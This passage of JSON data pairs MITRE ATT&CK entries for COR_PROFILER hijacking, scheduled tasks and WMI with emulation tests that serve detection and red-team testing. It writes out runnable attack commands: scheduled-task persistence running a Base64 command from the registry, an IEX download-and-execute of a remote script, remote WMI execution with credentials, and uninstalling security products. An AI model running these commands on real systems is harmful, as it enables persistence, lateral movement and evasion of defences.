'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\n", - "cleanup_command": "Remove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Registry-free process scope COR_PROFILER", - "auto_generated_guid": "79d57242-bbef-41db-b301-9d01d9f6e817", - "description": "Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "unamanged profiler DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll" - }, - "clsid_guid": { - "description": "custom clsid guid", - "type": "string", - "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{file_name} must be present\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n" - } - ], - "executor": { - "command": "$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '#{file_name}'\nPOWERSHELL -c 'Start-Sleep 1'\n", - "cleanup_command": "$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n", - "name": "powershell" - } - } - ] - } - } - }, - { - "category": "execution", - "data": { - "T1053.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Andrew Northern, @ex_raritas", - "Bryan Campbell, @bry_campbell", - "Zachary Abzug, @ZackDoesML", - "Selena Larson, @selenalarson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "created": "2019-11-27T14:58:00.429Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.005", - "url": "https://attack.mitre.org/techniques/T1053/005" - }, - { - "source_name": "ProofPoint Serpent", - "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", - "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022." - }, - { - "source_name": "Twitter Leoloobeek Scheduled Task", - "url": "https://twitter.com/leoloobeek/status/939248813465853953", - "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017." - }, - { - "source_name": "Microsoft Scheduled Task Events Win10", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019." - }, - { - "source_name": "TechNet Scheduled Task Events", - "url": "https://technet.microsoft.com/library/dd315590.aspx", - "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "source_name": "TechNet Forum Scheduled Task Operational Setting", - "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)", - "modified": "2022-04-14T20:59:17.110Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Task/Job: Scheduled Task", - "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1053.005" - }, - "atomic_tests": [ - { - "name": "Scheduled Task Startup Script", - "auto_generated_guid": "fec27f65-db86-4c2d-b66c-61945aee87c2", - "description": "Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view\nthe tasks, open the Task Scheduler and look in the Active Tasks pane.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"\n", - "cleanup_command": "schtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Scheduled task Local", - "auto_generated_guid": "42f53695-ad4a-4546-abb6-7d837f644a71", - "description": "Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "task_command": { - "description": "What you want to execute", - "type": "string", - "default": "C:\\windows\\system32\\cmd.exe" - }, - "time": { - "description": "What time 24 Hour", - "type": "string", - "default": "20:10" - } - }, - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n", - "cleanup_command": "SCHTASKS /Delete /TN spawn /F >nul 2>&1\n" - } - }, - { - "name": "Scheduled task Remote", - "auto_generated_guid": "2e5eac3e-327b-4a88-a0c0-c4057039a8dd", - "description": "Create a task on a remote system.\nUpon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "task_command": { - "description": "What you want to execute", - "type": "string", - "default": "C:\\windows\\system32\\cmd.exe" - }, - "time": { - "description": "What time 24 Hour", - "type": "string", - "default": "20:10" - }, - "target": { - "description": "Target", - "type": "string", - "default": "localhost" - }, - "user_name": { - "description": "Username to authenticate with, format: DOMAIN\\User", - "type": "string", - "default": "DOMAIN\\user" - }, - "password": { - "description": "Password to authenticate with", - "type": "string", - "default": "At0micStrong" - } - }, - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \"Atomic task\" /TR \"#{task_command}\" /SC daily /ST #{time}\n", - "cleanup_command": "SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN \"Atomic task\" /F >nul 2>&1\n" - } - }, - { - "name": "Powershell Cmdlet Scheduled Task", - "auto_generated_guid": "af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd", - "description": "Create an atomic scheduled task that leverages native powershell cmdlets.\n\nUpon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "$Action = New-ScheduledTaskAction -Execute \"calc.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTask -InputObject $object\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n" - } - }, - { - "name": "Task Scheduler via VBA", - "auto_generated_guid": "ecd3fa21-7792-41a2-8726-2c5c673414d3", - "description": "This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ms_product": { - "description": "Maldoc application Word", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n", - "name": "powershell", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n" - } - }, - { - "name": "WMI Invoke-CimMethod Scheduled Task", - "auto_generated_guid": "e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b", - "description": "Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xml_path": { - "description": "path of vbs to use when creating masquerading files", - "type": "path", - "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to copy must exist on disk at specified location (#{xml_path})\n", - "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"#{xml_path}\"\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n" - } - }, - { - "name": "Scheduled Task Executing Base64 Encoded Commands From Registry", - "auto_generated_guid": "e895677d-4f06-49ab-91b6-ae3742d0a2ba", - "description": "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "time": { - "description": "Daily scheduled task execution time", - "type": "string", - "default": "07:45" - } - }, - "executor": { - "command": "reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}\n", - "cleanup_command": "schtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Import XML Schedule Task with Hidden Attribute", - "auto_generated_guid": "cd925593-fbb4-486d-8def-16cbdf944bf4", - "description": "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xml_path": { - "description": "path of vbs to use when creating masquerading files", - "type": "path", - "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to copy must exist on disk at specified location (#{xml_path})\n", - "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"#{xml_path}\"\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n" - } - }, - { - "name": "PowerShell Modify A Scheduled Task", - "auto_generated_guid": "dda6fc7b-c9a6-4c18-b98d-95ec6542af6d", - "description": "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n" - } - } - ] - }, - "T1047": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "@ionstorm" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", - "created": "2017-05-31T21:30:44.329Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1047", - "url": "https://attack.mitre.org/techniques/T1047" - }, - { - "source_name": "FireEye WMI 2015", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", - "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016." - }, - { - "source_name": "FireEye WMI SANS 2015", - "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf", - "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020." - }, - { - "source_name": "MSDN WMI", - "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx", - "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", - "modified": "2022-04-20T16:25:21.348Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Windows Management Instrumentation", - "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "Network Traffic: Network Connection Creation" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1047" - }, - "atomic_tests": [ - { - "name": "WMI Reconnaissance Users", - "auto_generated_guid": "c107778c-dcf5-47c5-af2e-1d058a3df3ea", - "description": "An adversary might use WMI to list all local User Accounts. \nWhen the test completes , there should be local user accounts information displayed on the command line.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "wmic useraccount get /ALL /format:csv\n", - "name": "command_prompt" - } - }, - { - "name": "WMI Reconnaissance Processes", - "auto_generated_guid": "5750aa16-0e59-4410-8b9a-8a47ca2788e2", - "description": "An adversary might use WMI to list Processes running on the compromised host.\nWhen the test completes , there should be running processes listed on the command line.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "wmic process get caption,executablepath,commandline /format:csv\n", - "name": "command_prompt" - } - }, - { - "name": "WMI Reconnaissance Software", - "auto_generated_guid": "718aebaa-d0e0-471a-8241-c5afa69c7414", - "description": "An adversary might use WMI to list installed Software hotfix and patches.\nWhen the test completes, there should be a list of installed patches and when they were installed.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "wmic qfe get description,installedOn /format:csv\n", - "name": "command_prompt" - } - }, - { - "name": "WMI Reconnaissance List Remote Services", - "auto_generated_guid": "0fd48ef7-d890-4e93-a533-f7dedd5191d3", - "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device. \nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" \nif the provided remote host is unreacheable\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "node": { - "description": "Ip Address", - "type": "string", - "default": "127.0.0.1" - }, - "service_search_string": { - "description": "Name Of Service", - "type": "string", - "default": "Spooler" - } - }, - "executor": { - "command": "wmic /node:\"#{node}\" service where (caption like \"%#{service_search_string}%\")\n", - "name": "command_prompt" - } - }, - { - "name": "WMI Execute Local Process", - "auto_generated_guid": "b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3", - "description": "This test uses wmic.exe to execute a process on the local host.\nWhen the test completes , a new process will be started locally .A notepad application will be started when input is left on default.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_to_execute": { - "description": "Name or path of process to execute.", - "type": "string", - "default": "notepad.exe" - } - }, - "executor": { - "command": "wmic process call create #{process_to_execute}\n", - "cleanup_command": "wmic process where name='#{process_to_execute}' delete >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "WMI Execute Remote Process", - "auto_generated_guid": "9c8ef159-c666-472f-9874-90c8d60d136b", - "description": "This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.\nTo clean up, provide the same node input as the one provided to run the test\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the default or provided IP is unreachable\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "node": { - "description": "Ip Address", - "type": "string", - "default": "127.0.0.1" - }, - "user_name": { - "description": "Username", - "type": "string", - "default": "DOMAIN\\Administrator" - }, - "password": { - "description": "Password", - "type": "string", - "default": "P@ssw0rd1" - }, - "process_to_execute": { - "description": "Name or path of process to execute.", - "type": "string", - "default": "notepad.exe" - } - }, - "executor": { - "command": "wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process call create #{process_to_execute}\n", - "cleanup_command": "wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process where name='#{process_to_execute}' delete >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Create a Process using WMI Query and an Encoded Command", - "auto_generated_guid": "7db7a7f9-9531-4840-9b30-46220135441c", - "description": "Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand\n Powershell -nop -exec bypass -EncodedCommand \nWhere the \u2013EncodedCommand, once decoded, would resemble:\n Invoke-WMIMethod win32_process -name create -argumentlist \u2018rundll32 c:\\windows\\idmu\\common\\ypprop.dll _XInitImageFuncPtrs\u2019 -ComputerName WORKSTATION\nThe EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe\nYou should expect to see notepad.exe running after execution of this test.\n[Solarigate Analysis from Microsoft](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA\n", - "name": "command_prompt" - } - }, - { - "name": "Create a Process using obfuscated Win32_Process", - "auto_generated_guid": "10447c83-fc38-462a-a936-5102363b1c43", - "description": "This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.\n[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "new_class": { - "description": "Derived class name", - "type": "string", - "default": "Win32_Atomic" - }, - "process_to_execute": { - "description": "Name or path of process to execute.", - "type": "string", - "default": "notepad.exe" - } - }, - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\"Win32_Process\"))\n$NewClass = $Class.Derive(\"#{new_class}\")\n$NewClass.Put()\nInvoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}\n", - "cleanup_command": "$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\"#{new_class}\"))\ntry { $CleanupClass.Delete() } catch {}\n" - } - }, - { - "name": "WMI Execute rundll32", - "auto_generated_guid": "00738d2a-4651-4d76-adf2-c43a41dfb243", - "description": "This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "node": { - "description": "Ip Address", - "type": "string", - "default": "127.0.0.1" - }, - "dll_to_execute": { - "description": "Path to DLL.", - "type": "string", - "default": "$env:TEMP\\calc.dll" - }, - "function_to_execute": { - "description": "Name of DLL function to call", - "type": "string", - "default": "StartW" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL with function to execute must exist on disk at specified location (#{dll_to_execute})", - "prereq_command": "if (Test-Path #{dll_to_execute}) {exit 0} else {exit 1}", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true\" -OutFile \"#{dll_to_execute}\"\n" - } - ], - "executor": { - "command": "wmic /node:#{node} process call create \"rundll32.exe #{dll_to_execute} #{function_to_execute}\"\n", - "cleanup_command": "taskkill /f /im calculator.exe", - "name": "powershell" - } - }, - { - "name": "Application uninstall using WMIC", - "auto_generated_guid": "c510d25b-1667-467d-8331-a56d3e9bc4ff", - "description": "Emulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "node": { - "description": "Computer the action is being executed against but defaults to the localhost.", - "type": "string", - "default": "127.0.0.1" - }, - "product": { - "description": "Enter the product name being uninstalled. This will default to TightVNC.", - "type": "string", - "default": "Tightvnc" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "TightVNC must be installed.", - "prereq_command": "if ((Test-Path \"C:\\Program Files\\TightVNC\\tvnviewer.exe\")-Or (Test-Path \"C:\\Program Files (x86)\\TightVNC\\tvnviewer.exe\")) {exit 0} else {exit 1}", - "get_prereq_command": "Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi\nstart-sleep -s 10\nmsiexec /i PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi /qn /norestart\nstart-sleep -s 15" - } - ], - "executor": { - "command": "wmic /node:\"#{node}\" product where \"name like 